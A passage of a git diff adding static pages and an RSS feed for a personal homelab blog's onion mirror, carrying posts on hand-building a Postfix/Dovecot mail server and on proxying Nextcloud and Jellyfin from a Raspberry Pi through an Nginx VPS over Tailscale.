    diff --git a/public-onion/tags/hedgedoc/page/1/index.html b/public-onion/tags/hedgedoc/page/1/index.html new file mode 100644 index 0000000..570f64f --- /dev/null +++ b/public-onion/tags/hedgedoc/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/hedgedoc/ + + + + + + diff --git a/public-onion/tags/homelab/index.html b/public-onion/tags/homelab/index.html new file mode 100644 index 0000000..05d2227 --- /dev/null +++ b/public-onion/tags/homelab/index.html @@ -0,0 +1,402 @@ + + + + + + + +Homelab | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow) +

    +
    +
    +

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party. +I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.) +...

    +
    +
    July 24, 2026 · 17 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfin +

    +
    +
    +

    I didn’t “move Nextcloud to the cloud”. +I moved the front door to a VPS… and kept the house on my Raspberry Pi. 😄 +This post documents the setup I ended up with: +A public VPS (host: funbox) running Nginx + Let’s Encrypt A private Raspberry Pi (host: iot-hub) running Docker services (Nextcloud, Jellyfin, …) A private backhaul using Tailscale (the 100.x.y.z network) A correct Nextcloud reverse-proxy configuration (trusted_domains, trusted_proxies, and overwrite values) A pragmatic security layer for media: Basic Auth at Nginx for Jellyfin +(in addition to Jellyfin’s own login) I’m writing this as a “future me” note and a “copy-paste friendly” guide. +...

    +
    +
    February 2, 2026 · 6 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    Movie Night Over the Internet: Jellyfin + Tailscale on a Raspberry Pi 4 +

    +
    +
    +

    Ok. Let me tell you the why first. So…. I was turning from one side to the other on my bed, going through YouTube. The thing that I used to silence my pain, to let the time pass, and to forget. But it didn’t hit the same anymore. I was bored. Eternal boredom. Then the loneliness came back. It’s funny how you can be in the middle of dozens of people, i.e., not alone, but still feel lonely. Anyway. I though to myself “let’t message one of my two best friends”, We eventually went into a google meet, talked and talked, and decided to watch a movie together at the same time. I told him I still have my Raspberry Pi lying around, let me put it to good use. Few hours passed, and I was ready. Here is what happened in those few hours. +...

    +
    +
    December 21, 2025 · 9 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/homelab/index.xml b/public-onion/tags/homelab/index.xml new file mode 100644 index 0000000..23d2fec --- /dev/null +++ b/public-onion/tags/homelab/index.xml @@ -0,0 +1,617 @@ + + + + Homelab on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/homelab/ + Recent content in Homelab on AlipourIm journeys + Hugo -- 0.146.0 + en + Fri, 24 Jul 2026 00:00:00 +0000 + + + Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/self_hosting_mail/ + Fri, 24 Jul 2026 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/self_hosting_mail/ + A friendly, story-shaped walk through hand-rolling mail on funbox: how email actually moves, what PTR/SPF/DKIM/DMARC even mean, why open relays are bad, and how Matrix stole my TLS certificate (again). + +

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party.

    +

    I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.)

    +

    By the end I had Postfix talking to the world, Dovecot holding the inboxes, OpenDKIM signing what I send, PostfixAdmin for creating people without SSH, Roundcube for reading mail in a browser, SPF and DKIM and DMARC in DNS, and reverse DNS (PTR) pointing the right way. Strangers cannot use my server as a free spam cannon. Thunderbird can delete messages again. I can open webmail when I’m too lazy for a desktop client. And I finally understand why those pieces exist, which is the part the shiny installers quietly skip.

    +
    +

    Why I bothered

    +

    Funbox already hosted a small zoo of services with nice names and Let’s Encrypt certificates. Chat. Notes. Cloud stuff. Mail somehow stayed on the eternal TODO list labeled “next semester.” That felt silly. Email is older than most of the internet, slightly haunted, and still the boring glue that password resets and “your package has shipped” messages refuse to abandon.

    +

    I also wanted something more specific than “a mailbox.” I wanted addresses under my own domain, a way to create accounts for other humans without giving them shell access, and enough understanding that when something broke at 1 a.m. I wouldn’t be guessing which logo to Google. Doing it by hand is slower. It’s also how you stop treating mail as magic.

    +
    +

    How email actually moves

    +

    Imagine a post office that both receives letters from other post offices and lets you drop off letters to send — but only if you show ID at the counter.

    +

    Postfix is that post office building. It speaks SMTP. When another provider wants to deliver mail to you, it looks up your domain’s mail instructions in DNS, finds your server, and knocks on port 25. That conversation is server-to-server. Gmail does not “log in as Gmail” with a password when it delivers to you. Trust comes from DNS, reputation, content filters, and whether you look like an open relay (more on that later).

    +

    When you want to send mail from Thunderbird or Roundcube, you don’t casually open port 25 from a laptop anymore. You use submission, usually port 587, after starting TLS and proving who you are with a username and password. Postfix asks Dovecot, “is this password real?” If yes, Postfix is willing to carry your message out to the wider world. If no, goodbye.

    +

    Dovecot is the filing cabinet and the locked reading room. It stores messages (I used Maildir: folders of files, boring and sturdy). It speaks IMAP on port 993 so clients can list, read, move, and delete. In the virtual setup it also accepts deliveries from Postfix over a local pipe called LMTP — think “Postfix hands the sealed envelope to the filing clerk” instead of Postfix rummaging in the drawers itself.

    +

    OpenDKIM sits beside Postfix like a notary. Before a message leaves, it stamps a cryptographic signature on the headers. Receiving servers can fetch your public key from DNS and check that the stamp is real. That doesn’t encrypt the love letter for privacy; it helps prove the letter wasn’t casually forged by a random stranger using your From address.

    +

    Then there’s the paperwork in DNS — SPF, the DKIM public key, DMARC — which isn’t software running on your machine. It’s instructions you publish so other people’s servers know how to judge mail that claims to be from you.

    +

    Once you see that split — public receiving dock on 25, gated human counter on 587, filing cabinet on 993, notary for outbound, DNS as the rulebook — the rest of the tutorial stops feeling like a random pile of config files.

    +
    +

    The shape of my setup

    +

    On Ubuntu 24.04 on funbox, Postfix is the MTA, Dovecot is IMAP plus authentication helper plus delivery clerk, OpenDKIM signs outbound mail, PostfixAdmin is the web UI for mailboxes and aliases, and Roundcube is webmail. A small Docker Compose stack under /srv/services/mail/ runs Postgres only for that mail world, listening on 127.0.0.1:5433. Matrix and HedgeDoc keep their own databases. I like it that way. One sad PHP bug should not inherit a free ticket into Synapse.

    +

    Nginx terminates HTTPS for a little portal at mail.alipourimjourneys.ir, the admin UI at mailadmin.alipourimjourneys.ir, and Roundcube at webmail.alipourimjourneys.ir. Clients still talk to mail.alipourimjourneys.ir for IMAP 993 and SMTP 587. You can log in with the full address, and after a bit of SQL kindness Dovecot also accepts the short local part the way Apple Mail sometimes prefers.

    +
    +

    Port 25 is for servers; port 587 is for people

    +

    This deserves its own soft lecture because mixing them up is how nice people accidentally build spam infrastructure.

    +

    Port 25 is the classic loading bay between mail systems. When someone elsewhere sends mail to you, their server connects here. You want Postfix to accept messages addressed to your domain, store them (via Dovecot), and refuse to forward random mail to random destinations for unauthenticated strangers.

    +

    Port 587 is the counter with the ID check. Humans authenticate. After that, Postfix may relay outward. That is normal. That is how modern clients send.

    +

    I also turned off AUTH advertisements on port 25. Leaving AUTH enabled there doesn’t instantly mean you’re an open relay, but it does invite bots to spend eternity guessing passwords against a door that shouldn’t even have a doorbell for them. Submission keeps the doorbell. Port 25 keeps the loading bay.

    +
    +

    What an “open relay” is, and why localhost lies to you

    +

    An open relay is a mail server that accepts mail from the internet and forwards it to somewhere else without caring who asked. Spammers adore open relays the way raccoons adore unsecured bins. Modern Postfix defaults are usually cautious, but “usually” is not a control you can put on a checklist and trust with your domain’s reputation.

    +

    Here’s the trick that wastes afternoons: testing from 127.0.0.1.

    +

    Postfix treats localhost as friendly. Cron jobs, monitoring, local sendmail calls — they need to inject mail without performing a full human login. That friendliness is encoded in mynetworks. So if you point a test tool at loopback, Postfix may accept things it would never accept from a random address on the public internet. You can scare yourself for no reason, or soothe yourself for no reason. Neither is useful.

    +

    So I tested from the public address instead: pretend to be a stranger, say hello on port 25, try to send mail from evil@example.com to someone@example.com, and stop after the recipient line. The answer I wanted was a firm refusal — something in the spirit of 454 Relay access denied. A cheerful 250 on that recipient line is how you wake up as someone else’s cannon.

    +

    Kindness to future-you: always ask, “am I testing the door strangers use, or the door my own cron uses?”

    +
    +

    DNS, but make it human

    +

    The forward map (name → number)

    +

    You already know this one from websites. An A record says “this name has this IPv4.” AAAA says the same for IPv6. For mail you also publish an MX record, which is simply a polite note: “if you’re delivering mail for this domain, knock on that hostname.” The hostname still needs A/AAAA records. MX is a pointer with a priority number, not a magical alternate internet.

    +

    I put mail.alipourimjourneys.ir on funbox for both v4 and v6, pointed MX at that name, and added webmail and mailadmin the same way.

    +

    Why Cloudflare’s orange cloud is not invited

    +

    Cloudflare’s proxied mode (orange cloud) is wonderful for HTTP websites. It is not a general-purpose “anything TCP” cloak for SMTP and IMAP. If you orange-cloud a mail hostname, you are asking a web reverse proxy to pretend it’s a mail server. That story ends in tears, weird timeouts, or certificates that belong to the wrong plot.

    +

    Mail hostnames stay DNS-only — grey cloud. I already treat some realtime services that way. Mail joins the grey-cloud club and stays there.

    +
    +

    PTR records: the phonebook in reverse

    +

    This is the part that confused me the longest the first time I met it years ago, so I’m going to walk slowly.

    +

    Normal DNS is a phonebook from names to numbers: you look up mail.example.com and learn the IP. Reverse DNS is a phonebook from numbers to names. You look up the IP and learn which name claims it. That reverse lookup is a PTR record.

    +

    Those reverse records do not live in your ordinary domain zone on Cloudflare. They live in a special reverse tree managed by whoever owns the IP address space — your hosting people, your ISP, the friendly operator who can edit the reverse zone. Having your own nameservers for alipourimjourneys.ir does not automatically give you the keys to reverse DNS for an IP, any more than owning your apartment gives you the right to rename the street.

    +

    So you ask the IP owner, kindly and with copy-pasteable values, to publish reverse names that match your mail hostname. In my case both the IPv4 and the IPv6 address should reverse to mail.alipourimjourneys.ir, and that name should forward back to those same addresses. That round trip is sometimes called forward-confirmed reverse DNS. Receiving servers love it because it smells like a real mail host instead of a laptop on hotel Wi‑Fi.

    +

    You can receive mail without PTR. Sending to big providers without PTR is how you collect mysterious silences and spam-folder exile. In this story, PTR is already in place. The world looks a little less suspicious of funbox. Good.

    +
    +

    SPF, DKIM, and DMARC: three different questions

    +

    People mash these together into “email authentication.” They’re related, but they answer different questions, and knowing that makes the DNS records feel less like spell ingredients.

    +

    SPF answers: “which machines are allowed to send mail claiming this domain?” It’s a TXT record listing your IPs (and sometimes includes of other services). I made mine strict: this server’s v4, this server’s v6, and then -all, which means everyone else should fail SPF. That is a bold stance. Use it when you truly mean “only this box sends.” If you’re mid-migration and scared, a softer ~all exists for a reason. I wasn’t mid-migration. I was building one source of truth.

    +

    DKIM answers: “was this message signed with our private key, and does the signature still match?” OpenDKIM signs outbound mail. You publish the matching public key under a selector name in DNS. Receivers fetch the key and check the stamp. If someone rewrites the message in silly ways, the stamp breaks. If someone without your key tries to impersonate you, they can’t produce a valid stamp.

    +

    DMARC answers: “if SPF/DKIM don’t align properly with the visible From domain, what should receivers do?” You can start with p=none (watch and learn), move to quarantine (bad mail goes to spam), and later reject when you’re brave. I moved to quarantine once signing and SPF looked healthy. Strict alignment settings mean I’m not pretending that “nearby” domains are close enough.

    +

    Order matters emotionally and technically. Publishing a harsh DMARC before DKIM works is a creative way to punish yourself. Get the notary working. Get the allowed-IP list right. Then tighten the policy.

    +

    Together they don’t make email “secure” in the Signal sense. They make domain forgery harder and give honest receivers better instincts about your mail. That is already a lot.

    +
    +

    Building the unglamorous core

    +

    On the OS I installed Postfix and Dovecot the ordinary Ubuntu way, pointed both at a Let’s Encrypt certificate for mail.alipourimjourneys.ir, and configured submission so humans must authenticate on 587. I disabled AUTH on 25. I closed plain IMAP on 143 because I don’t need a cleartext nostalgia port in 2026.

    +

    Then came OpenDKIM. Generating keys is the easy emotional beat. Publishing the TXT record is easy too. The sneaky beat was the milter socket. Postfix often runs in a chroot under /var/spool/postfix, so the path Postfix uses for the socket is relative to that jail. OpenDKIM must create the socket where Postfix can actually see it, with permissions that let the postfix user connect.

    +

    I briefly had two Socket lines in opendkim.conf. Config files don’t merge those into a committee. The last one wins. Mine won incorrectly, Postfix looked in the chroot path, found nothing useful, and outbound mail left unsigned while I stared at an empty directory like it had personally betrayed me. One Socket. The correct path. Restart. Log line: DKIM-Signature field added. Instant serotonin.

    +

    When opendkim-testkey says the key is OK but “not secure,” it is often complaining about DNSSEC validation, not accusing your key of being fake. Read that message gently.

    +
    +

    The Matrix certificate heist (that wasn’t a heist)

    +

    Thunderbird once refused my server with a wrong-site story. I opened the certificate details expecting mail.… and found matrix.alipourimjourneys.ir smiling back.

    +

    No attacker. No cosmic joke from Let’s Encrypt. Just nginx.

    +

    When a browser or mail client connects with HTTPS or STARTTLS, it names the host it wants (SNI). Nginx chooses a certificate based on that name. If no server_name matches, nginx shrugs and uses the default server block. On funbox, that default has long been Matrix. So any half-configured HTTPS name inherits Matrix’s identity and fails the “are you who you say you are?” check in the most confusing way possible.

    +

    Later I repeated a sibling mistake with webmail.: I enabled an HTTPS site pointing at certificate files that did not exist yet. Nginx then failed its config test. Certbot’s nginx plugin also needs that test to pass. Deadlock. Meanwhile browsers hitting https://webmail.… still fell through to the default server and received Matrix’s cert again. Same villain, new episode.

    +

    The boring fix is chronological humility. Publish DNS. Put an HTTP-only server block up first. Issue the certificate. Only then flip the site to HTTPS. If you reverse those steps, nginx will teach you about chickens and eggs until you apologize.

    +
    +

    From Linux users to real mailboxes

    +

    The first version used system accounts. Postfix delivered to local Unix users. Dovecot checked passwords with PAM. For a single person it works. It also quietly means your mailbox password is entangled with your login story, and creating “a mail account for a friend” starts to look like creating a Unix inhabitant. That is not the vibe I wanted for a portal.

    +

    So I moved to virtual mailboxes. PostfixAdmin keeps domains, users, and aliases in Postgres. Dovecot looks up passwords and home directories with SQL. Mail files live under /var/vmail/... owned by a dedicated vmail user. Postfix no longer thinks of those addresses as local Unix people. It thinks of them as virtual destinations and hands the message to Dovecot over LMTP.

    +

    Why not let Postfix write the files itself? You can, historically. I prefer letting Dovecot be the clerk who already understands Maildir layouts, future filters, and the IMAP view of the world. Postfix remains the traffic cop at the street.

    +

    One setting decides whether this feels cursed or calm: mydestination.

    +

    That list means “domains I treat as local Unix delivery.” Virtual domains belong in the virtual maps instead. If your hostname is mail.alipourimjourneys.ir and you also leave that name in mydestination, Postfix may keep trying to deliver like it’s 1999 local mail. Virtual users then appear configured while messages vanish into the wrong conceptual bucket. I set mydestination to localhost and let the mail domain be virtual. Suddenly the model matched reality.

    +

    PostfixAdmin became the place where I create humans. They can change their own passwords in the user area. I can reset them when someone inevitably forgets. No SSH required for “please add my sibling.”

    +

    One more client quirk: some apps send only ialipour as the username. The database stores ialipour@mail.…. Dovecot’s “default realm” sounded like it would stitch those together automatically. For PLAIN auth it didn’t save me the way I hoped. Teaching the SQL queries to accept either the full address or local-part@mail.alipourimjourneys.ir did. Also, when authentication fails for “no reason,” consider that you might be typing your Linux password into a mailbox that has its own password now. I will not elaborate. We all learn in private.

    +
    +

    Webmail without losing the plot

    +

    Roundcube is not a second mail server. It’s a website that speaks IMAP and SMTP on your behalf. Same username, same password, same Dovecot, same submission port. I run it in Docker next to PostfixAdmin, with its own database on the mail Postgres.

    +

    I flirted with serving it under a path like /webmail on the main mail hostname while also serving it at the root of webmail.…. Roundcube has opinions about its base path. If you tell it “you live under /webmail” and then put it at / on another name, it will happily redirect you after login to a URL that 404s inside the container. Apache will even sign the 404 like a polite waiter bringing empty plates.

    +

    The calm ending: Roundcube lives at https://webmail.alipourimjourneys.ir/ as the site root. The portal links there. Path experiments go in the diary under “character development.”

    +
    +

    The bounce emails that taught me about identity

    +

    After virtualization, funbox started mailing me undeliverable notices. The original messages were those solemn “SECURITY information for funbox” notes that appear when sudo wants a password. Unix likes to mail root. My system identity still thought the local domain was mail.alipourimjourneys.ir, so root became root@mail.alipourimjourneys.ir. That mailbox does not exist on purpose. LMTP rejected it. The bounce returned to me, the sender of the sudo drama. It felt like the house accusing me of breaking the house.

    +

    The fix is to separate “system mail identity” from “human mail domain.” I set the mailname/origin story back toward localhost for local Unix injection, and I aliased root to my real virtual address so necessary noise still reaches a human. myhostname can still announce itself as mail.… on the SMTP banner. Different knobs, different jobs.

    +

    Deletes in Thunderbird failing was a softer lesson. Reading worked. Deleting seemed haunted. In IMAP land, “delete” is often “please move this to Trash.” If Trash can’t be created because permissions are wrong, or Dovecot never auto-creates those special folders, the client shrugs and you blame the moon. Giving vmail ownership of the maildirs and letting Dovecot auto-subscribe Trash, Drafts, and Sent restored ordinary mortal behavior.

    +

    And fail2ban exists because a public mail server’s address is a picnic for scanners. An SSH jail alone is only half a seatbelt. I also watch Postfix and Dovecot auth failures in /var/log/mail.log so repeated guessing gets a timeout instead of an unlimited hobby.

    +
    +

    What “done” means for me

    +

    For this build, done means strangers cannot relay through me when I check from the public IP. Port 25 does not offer AUTH as entertainment. Humans submit on 587 with TLS and passwords. IMAP is on 993. SPF is strict, DKIM signs, DMARC quarantines failures. PTR for both families of IP points at mail.alipourimjourneys.ir, and the forward records agree. Cloudflare stays grey for mail names. The mail database is not the Matrix database. Webmail works. Admin works. Thunderbird deletes work. I can explain every line of that paragraph to a tired friend without waving my hands.

    +

    Would I do it again? Yes. With the same stubborn refusal of the giant appliance, and with a kinder voice toward beginners — including past me — who thought reverse DNS was “just another Cloudflare panel button.”

    +

    If this story helped you feel less silly for not already knowing what PTR stood for: welcome. That was the point. You’re not a dummy. Email is just a very old building with a lot of labeled doors, and somebody finally walked you through the hallway with the lights on.

    +
    + + +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM
    +jSo2Yw//UtI5N8jeF+LTvsVHqDbTVyD+x6qiMgRGT4Kpn86V+6NaVjrs6h+kc5Xy
    +TD9gzCfpwsyfSDBGQ2SHM+bOTlyRDfXpH37XhOGVWNymP2guXaQBytJW11N7t6Yq
    +HhcRfnS1ICk+hK1PlZzLroHcxtT7vYWyucSoeGtedufXYVAaHz/mHVY1STMBEebP
    +NvaJqU5PbuHOHICGGtPADKUB8PejmRmUrzWp/bhA6k9muQSa4Bg30GkBLisOPvKq
    +4kgsu5qV7bhB2IyS6nYb+A1QhTD5EcrMzSaqRdNZR0MV2OzW4feSKwBrJqCe5Z8O
    +4BAMhpgk4baTz0+fSjWiKSokQhizXvB6vK21qu2O+5WbkyY/LLi0klLlF2UqhKnU
    +HE3+dYsxSYXMeCMUqDBPSmkxynJYIlUqen1gVt/vrjFpXRs8jsSx+Ec6+nHiwtLu
    +O+8yqHuGOevp91MW9Ly5eXeWMspmEhC4fgBXe4Anpol3FpwkE2neIy6N6D7FSQWM
    +0k4KDrEbfIvoowTRRXmNpHV+ttSYanjzTl3oQQZ+Y9H+g+uPrfh8oUvivrj+2ZOn
    +iv9oMoW6Q3rB7V/2+jptXpswhzfO67MLcGuToI5VIWz7vvOIW7vCAeSBK6LI91iB
    +VrhS5npAuRFTLR/jGboaIsiiAhI3j4zFvgBJ4c4PatN42KODY20=
    +=KCRU
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/self_hosting_mail.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/self_hosting_mail.md.asc
    +gpg --verify self_hosting_mail.md.asc self_hosting_mail.md
    +  
    +
    + + +]]>
    +
    + + Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfin + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/pi_service_touchup/ + Mon, 02 Feb 2026 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/pi_service_touchup/ + Cloudflare DNS + Nginx on a VPS + Tailscale to the Pi. Small, boring, and reliable. + +

    I didn’t “move Nextcloud to the cloud”.
    +I moved the front door to a VPS… and kept the house on my Raspberry Pi. 😄

    +

    This post documents the setup I ended up with:

    +
      +
    • A public VPS (host: funbox) running Nginx + Let’s Encrypt
    • +
    • A private Raspberry Pi (host: iot-hub) running Docker services (Nextcloud, Jellyfin, …)
    • +
    • A private backhaul using Tailscale (the 100.x.y.z network)
    • +
    • A correct Nextcloud reverse-proxy configuration (trusted_domains, trusted_proxies, and overwrite values)
    • +
    • A pragmatic security layer for media: Basic Auth at Nginx for Jellyfin
      +(in addition to Jellyfin’s own login)
    • +
    +

    I’m writing this as a “future me” note and a “copy-paste friendly” guide.

    +
    +

    0) Topology

    +

    The request path looks like:

    +
    Browser
    +  ↓ HTTPS (public)
    +Cloudflare DNS (optional proxy on/off)
    +  ↓
    +VPS (funbox) — Nginx reverse proxy + Let's Encrypt
    +  ↓ HTTP over Tailscale (private 100.x network)
    +Raspberry Pi (iot-hub) — Docker: Nextcloud / Jellyfin / …
    +

    Why I like it:

    +
      +
    • The Pi can sit behind home router / CGNAT and still be reachable.
    • +
    • TLS, redirects, headers, auth, rate limits… all centralized on the VPS.
    • +
    • Internal IPs can change without breaking public URLs.
    • +
    +
    +

    1) What’s running on the Pi?

    +

    On iot-hub the “interesting” containers are:

    +
      +
    • nextcloud (Apache variant)
    • +
    • nextcloud-db (Postgres)
    • +
    • nextcloud-redis
    • +
    • jellyfin
    • +
    +

    Example docker ps style output (yours may vary):

    +
    nextcloud         nextcloud:apache     0.0.0.0:8080->80/tcp
    +jellyfin          jellyfin/jellyfin    0.0.0.0:8096->8096/tcp
    +

    So on the Pi, the services listen on:

    +
      +
    • http://<pi>:8080 for Nextcloud
    • +
    • http://<pi>:8096 for Jellyfin
    • +
    +

    But in my setup, the VPS does not reach those via LAN — it reaches them via Tailscale IPs.

    +
    +

    2) Tailscale: the private wire between VPS and Pi

    +

    Tailscale assigns each node an address like 100.xx.yy.zz.

    +

    In my config, Nginx on funbox points to the Pi via Tailscale:

    +
      +
    • Nextcloud upstream: http://100.104.127.96:8080
    • +
    • Jellyfin upstream: http://100.104.127.96:8096
    • +
    +

    (Use the Tailscale IP of your Pi.)

    +

    Quick sanity checks from the VPS:

    +
    # from funbox, make sure you can reach the Pi service:
    +curl -I http://100.104.127.96:8080
    +curl -I http://100.104.127.96:8096
    +

    If those don’t work: fix Tailscale connectivity first (ACLs, firewall, node online).

    +
    +

    3) Nginx on the VPS: reverse proxy blocks

    +

    3.1 Nextcloud vhost (VPS → Pi via Tailscale)

    +

    Create (or edit):

    +

    /etc/nginx/sites-available/nextcloud.alipourimjourneys.ir

    +

    and symlink into sites-enabled.

    +

    Here is a complete working example:

    +
    # Redirect HTTP → HTTPS
    +server {
    +    listen 80;
    +    listen [::]:80;
    +    server_name nextcloud.alipourimjourneys.ir;
    +
    +    return 301 https://$host$request_uri;
    +}
    +
    +server {
    +    listen 443 ssl;
    +    listen [::]:443 ssl;
    +    server_name nextcloud.alipourimjourneys.ir;
    +
    +    # Certbot-managed certs
    +    ssl_certificate     /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/privkey.pem;
    +    include             /etc/letsencrypt/options-ssl-nginx.conf;
    +    ssl_dhparam         /etc/letsencrypt/ssl-dhparams.pem;
    +
    +    # Big uploads (tune to taste)
    +    client_max_body_size 2G;
    +
    +    # CalDAV/CardDAV redirects
    +    location = /.well-known/carddav { return 301 https://$host/remote.php/dav/; }
    +    location = /.well-known/caldav  { return 301 https://$host/remote.php/dav/; }
    +
    +    location / {
    +        proxy_pass http://100.104.127.96:8080;
    +
    +        proxy_http_version 1.1;
    +
    +        proxy_set_header Host              $host;
    +        proxy_set_header X-Real-IP         $remote_addr;
    +        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +
    +        # Sometimes helps apps behind multiple proxies
    +        proxy_set_header X-Forwarded-Host  $host;
    +        proxy_set_header X-Forwarded-Port  $server_port;
    +
    +        # Nextcloud + WebDAV can do long requests
    +        proxy_read_timeout 3600;
    +        proxy_send_timeout 3600;
    +
    +        # Usually good for DAV/uploads
    +        proxy_buffering off;
    +        proxy_request_buffering off;
    +    }
    +}
    +

    Then test + reload:

    +
    sudo nginx -t
    +sudo systemctl reload nginx
    +

    3.2 Jellyfin vhost (with Basic Auth)

    +

    Create:

    +

    /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir

    +

    Example:

    +
    server {
    +    listen 80;
    +    listen [::]:80;
    +    server_name jellyfin.alipourimjourneys.ir;
    +    return 301 https://$host$request_uri;
    +}
    +
    +server {
    +    listen 443 ssl;
    +    listen [::]:443 ssl;
    +    server_name jellyfin.alipourimjourneys.ir;
    +
    +    ssl_certificate     /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/privkey.pem;
    +    include             /etc/letsencrypt/options-ssl-nginx.conf;
    +    ssl_dhparam         /etc/letsencrypt/ssl-dhparams.pem;
    +
    +    client_max_body_size 512M;
    +
    +    # ✅ Basic Auth gate (extra layer before Jellyfin)
    +    auth_basic "Jellyfin (private)";
    +    auth_basic_user_file /etc/nginx/.htpasswd-jellyfin;
    +
    +    location / {
    +        proxy_pass http://100.104.127.96:8096;
    +        proxy_http_version 1.1;
    +
    +        proxy_set_header Host              $host;
    +        proxy_set_header X-Real-IP         $remote_addr;
    +        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +
    +        # Jellyfin uses websockets
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +
    +        proxy_read_timeout 3600;
    +        proxy_send_timeout 3600;
    +
    +        proxy_buffering off;
    +    }
    +}
    +

    Enable:

    +
    sudo ln -s /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir /etc/nginx/sites-enabled/
    +sudo nginx -t
    +sudo systemctl reload nginx
    +

    +

    4) Creating the Basic Auth password file

    +

    Install tools (Debian/Ubuntu):

    +
    sudo apt-get update
    +sudo apt-get install -y apache2-utils
    +

    Create the password file:

    +
    sudo htpasswd -c /etc/nginx/.htpasswd-jellyfin yourusername
    +

    (If adding more users later, omit -c.)

    +

    Lock it down:

    +
    sudo chown root:root /etc/nginx/.htpasswd-jellyfin
    +sudo chmod 640 /etc/nginx/.htpasswd-jellyfin
    +

    Notes on clients

    +
      +
    • Most browsers + most Jellyfin apps handle HTTP Basic Auth fine.
    • +
    • Some TV apps can be quirky. If a client can’t handle it, you can: +
        +
      • remove Basic Auth, or
      • +
      • keep it only on selected paths, or
      • +
      • use Cloudflare Access in front of Jellyfin instead (more work).
      • +
      +
    • +
    +
    +

    5) Nextcloud: configure it to behave behind the reverse proxy

    +

    Nextcloud needs to know:

    +
      +
    • what hostnames are valid,
    • +
    • which proxy is trusted,
    • +
    • and what the “outside” URL scheme is.
    • +
    +

    You can do it via occ inside the container (Apache image uses www-data).

    +

    5.1 trusted_domains

    +

    Check current values:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:get trusted_domains
    +

    Add your public domain:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_domains 1 --value="nextcloud.alipourimjourneys.ir"
    +

    (Keep your internal name too if you still use it, e.g. rpi:8080.)

    +

    5.2 trusted_proxies

    +

    Because requests arrive from the VPS (over Tailscale), Nextcloud must trust that proxy IP.

    +

    Example:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_proxies 0 --value="100.99.79.75"
    +

    (Use the VPS’s Tailscale IP as seen from the Pi.)

    +

    5.3 overwritehost / overwriteprotocol / overwrite.cli.url

    +

    Tell Nextcloud “the world sees me as https://nextcloud.example”:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwritehost --value="nextcloud.alipourimjourneys.ir"
    +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwriteprotocol --value="https"
